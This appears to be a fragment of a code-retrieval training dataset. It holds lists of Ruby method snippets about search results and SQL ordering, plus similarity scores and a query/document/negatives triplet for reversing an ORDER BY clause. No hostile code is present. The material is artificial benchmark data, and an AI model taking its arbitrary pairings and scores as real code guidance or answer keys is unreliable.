"def results\n d = data\n if d != nil and d.has_key?('results')\n return d['results']\n end\n nil\n end",
"def merged_result; end",
"def calculate_results\n Logger.info \"Probing finished. Calculating results.\"\n calculate_startup_time\n calculate_results_stalling\n calculate_results_switching\n print_results\n # TODO what to do with the results?\n end",
"def results\n content = Nokogiri::XML::Builder.new do |xml|\n xml.get_results(filter: \"first=1 rows=#{MAX_RESULTS} task_id=#{id}\", details: 1)\n end\n Hash.from_xml(@agent.sendrecv(content.to_xml)).deep_symbolize_keys\n end",
"def get_results(with_root = false)\n ret = []\n\n # Iterate over all occupied descendants and create chain data\n @occupied_descendants.each do |node|\n ret << [node.data, node.get_chain(with_root)]\n end\n\n # Return\n ret\n end",
"def each(&block)\n process_results unless @processed\n @results.each(&block)\n end",
"def results\n @results ||= Results.new(self)\n end",
"def total_results\n @lastresults[\"request\"][\"totalResults\"]\n end",
"def results\n @mutex.synchronize do\n resolvables = @resolvables\n @resolvables = []\n return resolvables\n end\n end",
"def results\n @results ||= Results.new(klass, self)\n end",
"def results=(_arg0); end",
"def results=(_arg0); end",
"def run(results)\n if(use_multiple?(results))\n results = run_multiple(results)\n else\n results = run_single(results)\n end\n return results\n end",
"def merge_results( results )\n info = {}\n formatted = {}\n\n results << self.results\n results.each do |plugins|\n plugins.each do |name, res|\n next if !res\n\n formatted[name] ||= []\n formatted[name] << res[:results]\n\n info[name] = res.reject{ |k, v| k == :results } if !info[name]\n end\n end\n\n merged = {}\n formatted.each do |plugin, c_results|\n if !self[plugin].distributable?\n res = c_results[0]\n else\n res = self[plugin].merge( c_results )\n end\n merged[plugin] = info[plugin].merge( :results => res )\n end\n\n self.results = merged\n end",
"def to_results\n info = request :q => @query, :rsz => @opts[:size], :start => ((@opts[:page] - 1) * @opts[:size])\n results = info[:results]\n query_strings = info[:query_strings]\n coder = HTMLEntities.new\n if(results['responseData']['cursor']['currentPageIndex'].nil?)\n new_one = Chen::Results.new\n new_one.estimated = 0\n return new_one\n end\n \n \n current_page = results['responseData']['cursor']['currentPageIndex']+1\n max_result = query_strings[:start] + query_strings[:rsz]\n estimated_results = results['responseData']['cursor']['resultCount']\n result_array = results['responseData']['results']\n \n datas = Chen::Results.new\n datas.estimated = estimated_results\n result_array.each_with_index do |result, i|\n new_data = Chen::SearchResult.new\n new_data.tap do |d|\n d.title = result[\"titleNoFormatting\"]\n d.url = result[\"url\"]\n d.desc = result[\"content\"].squeeze(\" \")\n d.number = (i + query_strings[:start] + 1)\n end\n datas << new_data\n end\n return datas\n end",
"def plan_results\n if @results\n return @results\n end\n\n p 'Getting results for ' + last_commit_hash\n api = BambooAPI.new\n results = api.result_by_changeset(last_commit_hash)\n @results = results\n p results\n p results.class\n results\n end",
"def autocomplete_results\n return @results if @results\n return cached_results if cached?\n\n @results = search_words.flat_map do |word|\n completions_for(word).flat_map { |token| fetch_results(token) }\n end\n @results = sorted_results(@results).first(limit)\n cache_results(@results)\n @results\n end",
"def results\n raise NotImplementedError\n end",
"def merge_resultsets(result1, result2); end",
"def merge_resultsets(result1, result2); end",
"def derive_results(resources)\n # Total resources \n total = resources.count\n # Count the passing resources\n passed_count = 0\n resources.map{|r| if r['status'] == 'passed' then passed_count += 1 end }\n # Set passing if all are passed\n status = 'failed'\n status = 'passed' if passed_count >= total\n # Return hash\n return {'status'=>status, 'passed'=>passed_count, 'total'=>total}\nend",
"def collect_results(body)\n a = []\n body.scan(EX_RESULT) { |s| a << [$2, $1] }\n a\nend",
"def results opts ={}\n defaults = { :print => nil, :verbose => nil }\n\n print = opts[:print] || defaults[:print]\n verbose = opts[:verbose] || defaults[:verbose]\n\n get_results if @parsed_results == nil\n \n if print\n @output << @request.full\n @output << @parsed_results\n end\n \n if verbose\n puts @raw_results\n end\n\n @parsed_results\n\n end",
"def next_result()\n #This is a stub, used for indexing\n end",
"def iterate_reduce\n accu = 0\n self.list.each do |elem|\n accu = accu + elem\n end\n\n accu\n end",
"def get_all_results\n\t\tresult_array = []\n\t\tskip = 0\n\t\ttake = 1000\n\t\tloop do\n\t\t\tcurrent_result = get_data_from_result(execute_request(take, skip)[1])\n\t\t\tresult_array.concat(current_result)\n\t\t\tskip = skip + take\n\t\t\tbreak if current_result.size != take\n\t\tend\n\t\treturn result_array\n\tend",
"def find!\n @total_found = 0\n @results = nil\n return results\n end",
"def parse_results\n #TODO: log an error if the return is empty\n profiles_array = find_elements PROFILE_CARD_SECTION_LOCATOR\n profiles_array.each do |profile|\n @profiles_data <<\n {\n name: get_element_text(PROFILE_NAME_LOCATOR, profile),\n title: get_element_text(PROFILE_TITLE_LOCATOR, profile),\n description: get_element_text(PROFILE_DESCRIPTION_LOCATOR, profile),\n country: get_element_text(PROFILE_COUNTRY_LOCATOR, profile),\n rate: get_element_text(PROFILE_RATE_LOCATOR, profile),\n skills: get_profile_skills(profile)\n }\n end\n\n @profiles_data\n end",
"def total_entries\n populate\n return 0 if @results[:total_found].nil?\n \n @total_entries ||= @results[:total_found]\n end",
"def results\n\t\t\tArray(result)\n\t\tend",
"def parse_results (params)\n\t# Parses results and returns an array for each result as JSON\n\t# Function parameters\n\tresults = params[:results]\n\tcheck_re = (params[:check_re] or /(.*)/)\n\n\tnewly_added = Set.new\n\tret = []\n\n\tresults = results.gsub(/<\\/div>|<div id=\"gs_ccl_results\">/, '').strip # remove closing divs\n\n\tresults.split(/<div class=\"gs_r\">/).each do |result|\n\t\t# IGNORE result\n\t\t# if it's empty\n\t\t# OR\n\t\t# if result is user's home page (not paper)\n\t\t# OR\n\t\t# if result is a user citation\n\t\t# OR\n\t\t# if it's not validated by the string\n\t\tunless result == '' or result =~ /(.*(user profiles for).*|\\[citation\\])/i or (not result =~ check_re)\n\t\t\t# this variable contains the link to the PDF from Google Scholar, (regardless paid or not)\n\t\t\t# this one hold the rest of the data as HTML content\n\t\t\tinf_div = result.match(/<div class=\"gs_ri\">(.*)$/)[0].gsub(/^<div class=\"gs_ri\">/, '')\n\n\t\t\t# title of paper as well as link to it\n\t\t\ttitle_link = inf_div.match(/<h\\d(.*)<\\/h\\d>/)[0].gsub(/^<h\\d(.*)><a|<\\/h\\d>$/, '')\n\t\t\tpublication_title = title_link.match(/>(.*)<\\/a>/)[0].gsub(/(^>|<\\/a>$)/, '')\n\t\t\ttitle_sha2 = Digest::SHA2.hexdigest(publication_title)\n\t\t\t# if title is already indexed, or was visitied before in the current parse then skip\n\t\t\tif USE_INDEX and (INDEX.include? (title_sha2 + \"\\n\") or newly_added.include? title_sha2)\n\t\t\t\tnext\n\t\t\tend\n\n\t\t\tpublication_link = title_link.match(/href=\"([^\"]*)\"/)[0].gsub(/(^href=\"|\"$)/, '')\n\t\t\t# authors of it, also contains the link of the publisher as well as a tag of some sort referring to the topic\n\t\t\tauthors_div_arr = inf_div.match(/<div class=\"gs_a\">(.*)<div class=\"gs_rs\">/)[0].gsub(/^<div class=\"gs_a\">|<div class=\"gs_rs\">$/, '').gsub(/\"/, '\\\"').gsub(/<([^<>]*)>/, '').split('-')\n\t\t\t# abstract extracted by Google Scholar\n\t\t\tabstract_div = inf_div.match(/<div class=\"gs_rs\">(.*)<div class=\"gs_fl\">/)[0].gsub(/^<div class=\"gs_rs\">|<div class=\"gs_fl\">$/, '')\n\n\t\t\t# get the section containing the pdf info and link\n\t\t\t# remove beginning div tag and trailing div from next\n\t\t\tpdf_div = result.match(/<div class=\"gs_ggs gs_fl\">(.*)<div class=\"gs_ri\">/)\n\t\t\t# no guarantee for pdf div from Google\n\t\t\tpdf_link = nil\n\t\t\tunless pdf_div.nil?\n\t\t\t\tpdf_div = pdf_div[0].gsub(/(<div class=\"gs_ggs gs_fl\">|<div class=\"gs_ri\">$)/, '')\n\t\t\t\tpdf_link = pdf_div.match(/href=\"([^\"]*)\"/)[0].gsub(/(^href=\"|\"$)/, '')\n\t\t\tend\n\n\n\t\t\t# dictionary holding the data\n\t\t\tres = {}\n\n\t\t\tres[:__title__] = publication_title.gsub(/\"/, '\\\"').gsub(/<([^<>]*)>/, '').strip\n\t\t\tres[:__link__] = publication_link.gsub(/\"/, '\\\"').gsub(/<([^<>]*)>/, '').strip\n\t\t\tres[:__authors__] = authors_div_arr[0].strip\n\t\t\tres[:__abstract__] = abstract_div.gsub(/\"/, '\\\"').gsub(/<([^<>]*)>/, '').strip\n\t\t\tres[:__publisher__] = ($SITE_NAMES[authors_div_arr[-1].strip] or authors_div_arr[-1]).strip\n\t\t\tres[:__hash__] = title_sha2\n\t\t\tpdf_link.nil? ? res[:__pdf__] = nil : res[:__pdf__] = pdf_link.gsub(/\"/, '\\\"').gsub(/<([^<>]*)>/, '').strip\n\n\t\t\t# append to return variable\n\t\t\tret << res\n\t\t\tnewly_added << res[:__hash__] if USE_INDEX\n\t\tend\n\tend\n\n\treturn ret, newly_added\nend",
"def combine_results(rule_results) # rubocop:disable Metrics/AbcSize\n return rule_results.first if rule_results.size == 1\n\n # Can combine, result, idents (duplicate, take first instance), instance - combine into an array removing duplicates\n # check.content - Only one value allowed, combine by joining with line feed. Prior to, make sure all values are unique.\n\n rule_result = HappyMapperTools::Benchmark::RuleResultType.new\n rule_result.idref = rule_results.first.idref\n rule_result.severity = rule_results.first.severity\n # Take latest time\n rule_result.time = rule_results.reduce(rule_results.first.time) { |time, r| time > r.time ? time : r.time }\n rule_result.weight = rule_results.first.weight\n\n rule_result.result = rule_results.first.result\n rule_result.message = rule_results.reduce([]) { |messages, r| r.message ? messages.push(r.message) : messages }\n rule_result.instance = rule_results.reduce([]) { |instances, r| r.instance ? instances.push(r.instance) : instances }.join(\"\\n\")\n\n rule_result.ident = rule_results.first.ident\n rule_result.fix = rule_results.first.fix\n\n if rule_results.first.check\n rule_result.check = HappyMapperTools::Benchmark::Check.new\n rule_result.check.system = rule_results.first.check.system\n rule_result.check.content = rule_results.map { |r| r.check.content }.join(\"\\n\")\n end\n\n rule_result\n end",
"def search_all_results(query)\n results = []\n\n page = 1\n\n loop do\n hits = search(query, page)\n\n results.concat(hits['results'])\n\n if hits['last_page'] == page || hits['last_page'] == 0\n break\n else\n page += 1\n end\n end\n\n results\n end",
"def populate_results(json)\n # page = json[\"page\"]\n # results = json[\"results\"].map{|r| SearchResult.new(r)}\n # start = (page - 1) * 10\n # @results[start, results.length] = results\n @results = json[\"results\"].map{|r| SearchResult.new(r)}\n end",
"def add_results(result_string)\n @results += result_string\n newline\n end",
"def cache_results\n return unless current_user && !using_defaults\n\n # Do the results contain master_id? If so, get a unique list of master id results\n master_ids = results.map { |r| r['master_id'] }.uniq if field_index('master_id')\n\n # We through other stuff into the search attribute values that are not needed for storing results\n # Just pass over the real key-value pairs that correspond to the configured attributes\n real_search_attr_values = search_attr_values.slice(*search_attributes.keys)\n\n previous_filtering.store_results(report.id, report.name, master_ids, results.count, real_search_attr_values)\n end",
"def _reduce_345(val, _values, result)\n result = []\n \n result\nend",
"def collect_results(method, args) # :nodoc:\n results = []\n send(method, args) do |*result|\n results << result\n end\n results\n end",
"def get_results\n begin\n results = Nokogiri::XML(open(URI.encode(@request.full)))\n rescue SystemCallError, EOFError\n retry\n end\n # puts results\n parse results, :query => @request.q\n end",
"def sum_worker_results(workers)\n metrics = []\n workers.each do |worker|\n metrics << worker.result_to_metrics\n end\n metrics.flatten\n end",
"def append( search_nodes, result_nodes )\n return apply(search_nodes)\n end",
"def run_all\n results = []\n results << { name: \"DFS\", result: dfs }\n results << { name: \"BFS\", result: bfs }\n results << { name: \"Iterative DFS\", result: iterative_dfs }\n results << { name: \"Greedy Euc.\", result: greedy(Euclidian.new(@final, false)) }\n results << { name: \"Greedy Zero\", result: greedy(Zero.new(@final, false)) }\n results << { name: \"A Star Euc.\", result: a_star(Euclidian.new(@final, true)) }\n results << { name: \"A Star Zero\", result: a_star(Zero.new(@final, true)) }\n end",
"def add_result(result)\n @results.push(result)\n end",
"def add_result(result)\n @results.push(result)\n end",
"def add_result(result)\n @results.push(result)\n end",
"def results\n with_monitoring do\n response = perform(:get, results_url, query_params)\n Search::ResultsResponse.from(response)\n end\n rescue => e\n handle_error(e)\n end",
"def results(&block)\n section(:top => 1, :bottom => 0) do\n say \"RESULT:\"\n yield\n end\n end",
"def get_results\n response = @api.get(@cloud.url(:result, @process_id), no_callbacks: true, token: @cloud.access_token.token)\n @results = []\n response.each do |res|\n @results.push(CopyleaksApi::ResultRecord.new(res))\n end\n @results\n end",
"def search_results\n @term = sname = request.query_parameters[\"search\"].to_s.downcase\n data = search_term(sname)\n @top = []\n @rest = []\n data[:results].each do |type|\n type[:matches].each do |hit|\n if hit[:score] >= 1.0\n @top << hit\n else\n @rest << hit\n end\n end\n end\n @top.sort! { |a, b| b[:score] <=> a[:score] }\n @rest.sort! { |a, b| b[:score] <=> a[:score] }\n render \"site/results\"\n end",
"def results\n output = Array.new(size)\n cur = 0\n @data['results'].each do |e|\n output[cur] = DBLRuby::Bot.new(data: e)\n cur += 1\n end\n output\n end",
"def results(progA, progB); @results[@progs[progA], @progs[progB]]; end",
"def parse_results(json:)\n results = []\n return results unless json.present? && json.fetch('items', []).any?\n\n json['items'].each do |item|\n next unless item['id'].present? && item['name'].present?\n\n results << {\n ror: item['id'].gsub(/^#{landing_page_url}/, ''),\n name: org_name(item: item),\n sort_name: item['name'],\n url: item.fetch('links', []).first,\n language: org_language(item: item),\n fundref: fundref_id(item: item),\n abbreviation: item.fetch('acronyms', []).first\n }\n end\n results\n end",
"def results(do_all=false)\n [].tap do |res|\n if do_all || term_matches.present?\n res << IndexedSearch::Match::Result.new(self, term_map, rank_multiplier, term_multiplier, limit_reduction_factor, type_reduction_factor)\n end\n end\n end",
"def build_results\n set_start = Time.parse(body['start_time'])\n set_end = Time.parse(body['end_time'])\n set_ratio = (set_end - set_start) / body['points'].to_i\n body['results'].each do |result|\n self.results << Result.new(set_start, set_start + set_ratio, result.first)\n set_start = set_start + set_ratio\n end\n end",
"def parseCurrentPage\n # Initialize local variables\n currentResults = Array.new\n\n # Iterate over each Google result list element \n @currentPage.css('li.g:not([id])').each do |result|\n begin\n # Extract the title\n title = result.css('h3 a').first.content\n\n # Extract the content. There is the possibility for\n # the content to be nil, so check for this\n content = result.css('span.st').first.nil? ? '' : result.css('span.st').first.content\n\n # Extract the URI\n uri = result.css('h3 a').first['href']\n\n # Ignore YouTube videos for websearch\n unless uri.index('www.youtube.com').nil? \n next\n end\n\n # Create a new Result object and append to the array\n currentResults << Result.new(title, content, uri)\n rescue NoMethodError\n next\n end\n end\n @results += currentResults\n return currentResults\n end",
"def add_result(result)\n @results.push(result)\n end",
"def add_result(result)\n @results.push(result)\n end",
"def add_result(result)\n @results.push(result)\n end",
"def result\n return @result if defined?(@result)\n @search.populate_hits\n @result\n end",
"def results(path, params = {}, opts = {})\n get(path, params, opts)['results']\n end",
"def results\n return error if error?\n response if response?\n end",
"def search_results\n builder = search_builder.with(search_state)\n builder.page = search_state.page\n builder.rows = search_state.per_page\n\n builder = yield(builder) if block_given?\n response = repository.search(builder)\n\n if response.grouped? && grouped_key_for_results\n response.group(grouped_key_for_results)\n elsif response.grouped? && response.grouped.length == 1\n response.grouped.first\n else\n response\n end\n end",
"def aggregate\n #response = Result.collection.map_reduce(self.map_fn(), _reduce(), :raw => true, :out => {:inline => true}, :query => {:execution_id => id})\n response = Result.where(execution_id: id).map_reduce(self.map_fn(), self.query.reduce).out(inline: true).raw()\n results = response['results']\n if results\n self.aggregate_result = {}\n results.each do |result|\n result = prettify_generated_result(result) if self.query.generated? && result['value']['rereduced']\n self.aggregate_result[result['_id']] = result['value']\n end\n save!\n end\n end",
"def parse_base_results\n r = HashWithIndifferentAccess.new\n @assessment.questions.each_with_index do |question, order|\n result = HashWithIndifferentAccess.new\n choices = Array.new\n id = question['id']\n label = question['question']\n q_choices = choices_for_question_id(id)\n q_choices.each_with_index do |choice, c_order|\n c_id = choice['id']\n c_label = choice['label']\n c_correct = (answer_for_question_id(id) == c_id)\n c_value = default_choice_value(c_id, c_correct, c_label, c_order)\n choices.push(c_value)\n end\n result['id'] = id\n result['order'] = order\n result['question'] = label\n result['choices'] = choices\n result['total'] = 0.0 # ADDED, if refactor.\n result['percentages'] = percentages_from_decimal(0.0)\n r[id] = result\n end\n r\n end",
"def results\n index.results\n end"
] |
[
"0.7082534",
"0.65451133",
"0.6451944",
"0.63702637",
"0.63702524",
"0.63702524",
"0.6341012",
"0.62825733",
"0.62793326",
"0.61854804",
"0.61854804",
"0.61854804",
"0.6109766",
"0.60838366",
"0.6050446",
"0.60304284",
"0.602739",
"0.59968144",
"0.5994033",
"0.5962388",
"0.59611714",
"0.59454364",
"0.5940638",
"0.5937393",
"0.5935819",
"0.5907496",
"0.5874716",
"0.58470756",
"0.5830288",
"0.58245337",
"0.57502764",
"0.57106155",
"0.57007664",
"0.5699849",
"0.5698997",
"0.5695474",
"0.56911206",
"0.5658816",
"0.5654185",
"0.5647393",
"0.5625432",
"0.56142044",
"0.5611938",
"0.55862826",
"0.5543121",
"0.5534003",
"0.55300844",
"0.55300844",
"0.5527952",
"0.5527502",
"0.5525624",
"0.55223554",
"0.55152756",
"0.5513551",
"0.5507399",
"0.55060834",
"0.5505087",
"0.5497174",
"0.5495485",
"0.54335856",
"0.5421465",
"0.54201156",
"0.54100573",
"0.54048836",
"0.54037654",
"0.5401985",
"0.54013705",
"0.53948367",
"0.5389587",
"0.53872824",
"0.5385426",
"0.5378603",
"0.5374087",
"0.5361066",
"0.5352368",
"0.535093",
"0.53493035",
"0.5347095",
"0.5344378",
"0.5344378",
"0.5344378",
"0.5337608",
"0.5332266",
"0.5327399",
"0.53229725",
"0.5313723",
"0.53079706",
"0.53075415",
"0.5293986",
"0.52877927",
"0.528766",
"0.5278896",
"0.5278896",
"0.5278896",
"0.52741873",
"0.5272235",
"0.5261062",
"0.52534103",
"0.5251537",
"0.52470917",
"0.52418864"
] |
0.0
|
-1
|
return the opposite of the provided order clause this is used for the :last find option in other words SugarCRM::Account.last(:order_by => "name") is equivalent to SugarCRM::Account.first(:order_by => "name DESC")
|
def reverse_order_clause(order)
raise "reversing multiple order clauses not supported" if order.split(',').size > 1
raise "order clause format not understood; expected 'column_name (ASC|DESC)?'" unless order =~ /^\s*(\S+)\s*(ASC|DESC)?\s*$/
column_name = $1
reversed_order = {'ASC' => 'DESC', 'DESC' => 'ASC'}[$2 || 'ASC']
return "#{column_name} #{reversed_order}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def inverse\n OrderBy.new(@field, @dir == :asc ? :desc : :asc)\n end",
"def last_partitions_order_by_clause\n unless @last_partitions_order_by_clause\n @last_partitions_order_by_clause = collect_first(&:last_partitions_order_by_clause)\n end\n return @last_partitions_order_by_clause\n end",
"def last\n self.invert_order.all.first\n end",
"def rev_order\n\t \torder(created_at: :desc)\n\t end",
"def latest_order!(reverse = false)\n # order(created_at: :desc)\n reverse ? earliest_order! : earliest_order!.reverse\n end",
"def last\n result ? all.last : limit(1).descending.all.last\n end",
"def desc\n if @order_by.nil?\n raise Exceptions::IllegalStateException, 'You must call order_by method before call this method'\n end\n\n @order_by.asc = false\n\n self\n end",
"def last\n order(:id).reverse.limit(1)\n end",
"def opposite_sort_order\n sort_order == \"ASC\" ? \"DESC\" : \"ASC\"\n end",
"def last\n find(:first, :conditions => {}, :sort => [[:_id, :asc]])\n end",
"def last\n asc(:id).last\n end",
"def last(limit = nil)\n return find_last(limit) if loaded? || has_limit_or_offset?\n\n result = ordered_relation.limit(limit)\n result = result.reverse_order!\n\n limit ? result.reverse : result.first\n end",
"def reverse!\n\t\t@order *= -1\n\t\tresort\n\tend",
"def bottom_item(except = nil)\n scope = acts_as_list_list\n\n if except\n scope = scope.where(\"#{quoted_table_name}.#{self.class.primary_key} != ?\", except.id)\n end\n\n scope.in_list.reorder(acts_as_list_order_argument(:desc)).first\n end",
"def last(limit=1)\n limit(limit).reverse_order.load.first\n end",
"def bottom_item(except = nil)\n # conditions = scope_condition\n # conditions = \"#{conditions} AND #{self.class.primary_key} != #{except.id}\" if except\n # acts_as_list_class.find(:first, :conditions => conditions, :order => \"#{position_column} DESC\")\n acts_as_list_class.with_acts_as_list_scope(scope_condition) do\n conditions = except.nil?() ? \"\" : \"#{self.class.primary_key} != #{except.id}\" \n where(conditions).order(\"#{position_column} DESC\").first\n end \n end",
"def latest_order\n # order(created_at: :desc)\n scan_index_forward(false)\n end",
"def last(options={})\r\n find(:last, options)\r\n end",
"def order()\n @options[:order] || DEF_LAST_ORDER\n end",
"def reverse_order(*order)\n order(*invert_order(order.empty? ? @opts[:order] : order))\n end",
"def another_order_direction\n @mg_params.key?(:order_direction) ? (%w(asc desc) - [@mg_params[:order_direction].to_s]).first : MightyGrid.order_direction\n end",
"def bottom_item(except = nil)\n conditions = \"#{self.class.primary_key} != #{except.id}\" if except\n acts_as_list_class.find(:first, :conditions => conditions, :order => \"#{:position} DESC\")\n end",
"def last(number_of_entries = 1)\n find(nil, :sort => [:_id, :descending], :limit => number_of_entries).reverse\n end",
"def sort_descending(sort)\n self.query.sort = sort\n self.query.sort_descending = true\n self\n end",
"def bottom_item(except = nil)\n conditions = scope_condition\n if except\n conditions.merge!( { position_key.ne => except.my_position } )\n end\n\n order_by_position(conditions).last\n end",
"def ordering_by\n order && order.to_s.gsub(/^(ascend|descend)_by_/, '')\n end",
"def endmost(n)\n\t \tall.only(:order).from(all.reverse_order.limit(n), table_name)\n\t end",
"def to_find_order\n if @order.blank?\n nil\n else\n @order.collect do |col|\n col.respond_to?(:full_name) ? (col.full_name + (col.negative? ? \" DESC\" : \"\")) : col\n end.join(\", \")\n end\n end",
"def last_order(obj)\n if obj.class == Job\n job_application = JobApplication.find_by(member: self, job: obj)\n return nil if job_application.blank? or job_application.orders.blank?\n job_application.orders.created_at_desc.first\n elsif obj.class == Service\n return nil if obj.orders.blank?\n obj.orders.created_at_desc.first\n else\n return nil\n end\n end",
"def ordered_expression_sql(oe)\n \"#{literal(oe.expression)} #{oe.descending ? 'DESC' : 'ASC'}\"\n end",
"def select_order_transactions_desc(select_order)\n select_order.select_order_transactions.order('created_at desc') || []\n end",
"def reverse\n self.query.reverse = true\n self\n end",
"def last\n opts = process_options\n sorting = opts[:sort]\n sorting = [[:_id, :asc]] unless sorting\n opts[:sort] = sorting.collect { |option| [ option[0], option[1].invert ] }\n attributes = klass.collection.find_one(selector, opts)\n attributes ? Mongoid::Factory.from_db(klass, attributes) : nil\n end",
"def last(limit = 1)\n reverse.take(limit).reverse\n end",
"def get_order_by\n @order_by\n end",
"def nexxt\n account.statements.except(:order).chronologically.entered_after( last.entered_at ).first\n end",
"def reverse\n reversed = super\n reversed.instance_variable_set(:@query, query.reverse)\n reversed\n end",
"def order(clause)\n data.last_partitions_order_by_clause = clause\n end",
"def reverse!\n # reverse the sort order\n @order.map! { |direction| direction.reverse! }\n\n # copy the order to the options\n @options = @options.merge(:order => @order.map { |direction| direction.dup }).freeze\n\n self\n end",
"def last_service_order(service)\n ServiceOrder.find_by(employer_id: self.id, service_id: service.id)\n end",
"def previous\n account.statements.except(:order).chronologically.entered_before( first.entered_at ).last\n end",
"def last\n self.class.where(:id => rid).order('lower(validity)').last\n end",
"def last **args\n query( **( { order: {\"@rid\" => 'desc'} , limit: 1 }.merge args)).execute(reduce: true)\n\tend",
"def ordering_query; end",
"def bottom_item(except = nil)\n conditions = scope_condition\n if except\n conditions.merge!(\"i.#{position_key} <>\" => except.my_position)\n end\n\n order_by_position(conditions).last\n end",
"def last(*args)\n find(:last, *args)\n end",
"def reverse(amount = nil, options = {})\n execute(:reverse, {:amount => amount || self.amount}.reverse_merge(options))\n end",
"def ordering_sql_string\n\t\tif order\n\t\t\torder.collect{|col,dir| absolute_column_name( col ) + ((dir.eql?(:asc))?(''):(' DESC')) if item_class.column_names.include?( col ) }.compact.join(',')\n\t\tend\n\tend",
"def last(*a, &block)\n if ds = _primary_key_order\n ds.last(*a, &block)\n else\n super\n end\n end",
"def last(*a, &block)\n if ds = _primary_key_order\n ds.last(*a, &block)\n else\n super\n end\n end",
"def latest_subscribed_order\n # order(subscribed_at: :desc)\n earliest_subscribed_order.reverse\n end",
"def last(*args)\n find(:last, *args)\n end",
"def last(*args)\n find(:last, *args)\n end",
"def sort_sql_helper(param)\n return param.gsub('_reverse',\" DESC\")\n end",
"def define_order(s_order)\n s_order=='Crescente' ? :asc : :desc\n end",
"def next_ordering(field_name)\n \n if( ordered_by(field_name) )\n if params[:sort_by].blank?\n # unusual case - sorted by 'date' by default; not set in 'params'\n return( opposite_ordering(default_ordering(\"date\")) )\n else\n return( opposite_ordering(params[:order]) )\n end\n else\n return( default_ordering(field_name) )\n end\n \n end",
"def last(*args)\n find_first_or_last(:last, *args)\n end",
"def latest!\n latest_order!.first\n end",
"def lob_order_by_expression(klass, order)\n return order if order.nil?\n changed = false\n new_order = order.to_s.strip.split(/, */).map do |order_by_col|\n column_name, asc_desc = order_by_col.split(/ +/)\n if column = klass.columns.detect { |col| col.name == column_name && col.sql_type =~ /LOB$/i}\n changed = true\n \"DBMS_LOB.SUBSTR(#{column_name},100,1) #{asc_desc}\"\n else\n order_by_col\n end\n end.join(', ')\n changed ? new_order : order\n end",
"def last(options={})\n get(\"last\", options)\n end",
"def invert_order(order)\n return nil unless order\n new_order = []\n order.map do |f|\n case f\n when SQL::OrderedExpression\n SQL::OrderedExpression.new(f.expression, !f.descending)\n else\n SQL::OrderedExpression.new(f)\n end\n end\n end",
"def index\n last_id = Order.where(:trigger=> false).order('created_at ASC').last.id\n @orders_before = Order.where('trigger = ? AND id != ?', false, last_id).order('created_at DESC')\n @lastorder = Order.where(:trigger=> false).last\n end",
"def last(*args)\n last_arg = args.last\n\n limit = args.first if args.first.kind_of?(Integer)\n with_query = last_arg.respond_to?(:merge) && !last_arg.blank?\n\n query = with_query ? last_arg : {}\n query = scoped_query(query.merge(:limit => limit || 1)).reverse\n\n # tell the Query to prepend each result from the adapter\n query.update(:add_reversed => !query.add_reversed?)\n\n if !with_query && (loaded? || lazy_possible?(tail, limit || 1))\n if limit\n new_collection(query, super(limit))\n else\n super()\n end\n else\n if limit\n all(query)\n else\n relate_resource(query.repository.read_one(query))\n end\n end\n end",
"def fallback_sort_order(direction)\n \"#{resource_handler.model.table_name}.id #{direction}\"\n end",
"def typus_order_by\n\n order = []\n\n begin\n fields = self.send(\"admin_order_by\").map { |a| a.to_s }\n rescue\n config = Typus::Configuration.config[self.name]\n return \"`#{self.table_name}`.id ASC\" unless config && config['order_by']\n fields = config['order_by'].split(', ')\n end\n\n fields.each do |field|\n order_by = (field.include?(\"-\")) ? \"`#{self.table_name}`.#{field.delete('-')} DESC\" : \"`#{self.table_name}`.#{field} ASC\"\n order << order_by\n end\n\n return order.join(', ')\n\n end",
"def last(limit = 1)\n from(-limit) || self\n end",
"def unordered\n order(nil)\n end",
"def reverse_order!\n self.reverse_order_value = !reverse_order_value\n self\n end",
"def last\n @ordered_elements.last\n end",
"def last_active_recurring_order\n self.orders.recurring.find(:all, :order => \"orders.id ASC\").select {|o| Date.today >= o.service_period_start_on && Date.today <= o.service_period_end_on}.last\n end",
"def last_sibling(scope = {})\n self_and_siblings(scope.merge(:limit => 1, :order => \"#{prefixed_left_col_name} DESC\")).first\n end",
"def last!(group)\n return if group.class != Group\n relationship = EntityGroupRelationship.find_by(entity_id: self.id, group_id: group.id)\n return if relationship.nil?\n relationships = self.group_relations\n last = relationships.count - 1 # - 1 because child will be set to last at the end\n return if relationship.position == last\n if relationship.position.nil?\n line = 0\n else\n line = relationship.position\n end\n relationships.reverse.each do |r|\n next if r == relationship\n if r.position.nil?\n r.update_attribute(:position, last -= 1)\n else\n if r.position > line\n r.update_attribute(:position, last -= 1)\n end\n end\n end\n relationship.update_attribute( :position, relationships.count - 1 )\n end",
"def descending\n swap(:startkey, :endkey) if query[:startkey] || query[:endkey]\n swap(:startkey_docid, :endkey_docid) if query[:startkey_docid] || query[:endkey_docid]\n\n update_query(:descending => true)\n end",
"def last_comment\n self.comments.order(:timestamp_creation => :asc).last\n end",
"def invert_order(order)\n return unless order\n order.map do |f|\n case f\n when SQL::OrderedExpression\n f.invert\n else\n SQL::OrderedExpression.new(f)\n end\n end\n end",
"def order\n @order || \"99_99\"\n end",
"def order_by_field\n self.find_field(self.order_by)\n end",
"def latest\n latest_order.first\n end",
"def reverse_order(order)\n if not valid_order?(order)\n raise ArgumentError\n end\n create_order(order, (0...order.size).to_a)\nend",
"def highest_known_destination_order_by\n return false unless source_order_by\n if defined? @highest_known_destination_order_by \n @highest_known_destination_order_by\n else\n @highest_known_destination_order_by = destination_model.where(destination_order_conditions).maximum(destination_order_by)\n end\n end",
"def last(amount)\n objects = all.last(amount || 1)\n amount.nil? ? objects.first : objects\n end",
"def last(*args)\n all.send(:last, *args)\n end",
"def highest\n @level_order.last\n end",
"def normalize_order!(default = :asc)\n replace normalize_order(default)\n end",
"def default_order\n \"name\"\n end",
"def bottom_item_in_queue(except = nil)\n conditions = queue_scope_condition\n conditions = \"#{conditions} AND #{self.class.primary_key} != #{except.id}\" if except\n acts_as_queue_class.find(:first, :conditions => conditions, :order => \"#{queue_position_column} DESC\")\n end",
"def last(repo)\n find(repo)\n end",
"def default_sort\n { order: :created_at, direction: :desc }\n end",
"def order\n @order ||= detect_order(params[:order]) || default_order\n end",
"def last!\n last || raise_record_not_found_exception!\n end",
"def journals_after(journal_id)\n scope = journals.reorder(\"#{Journal.table_name}.id ASC\")\n if journal_id.present?\n scope = scope.where(\"#{Journal.table_name}.id > ?\", journal_id.to_i)\n end\n scope\n end",
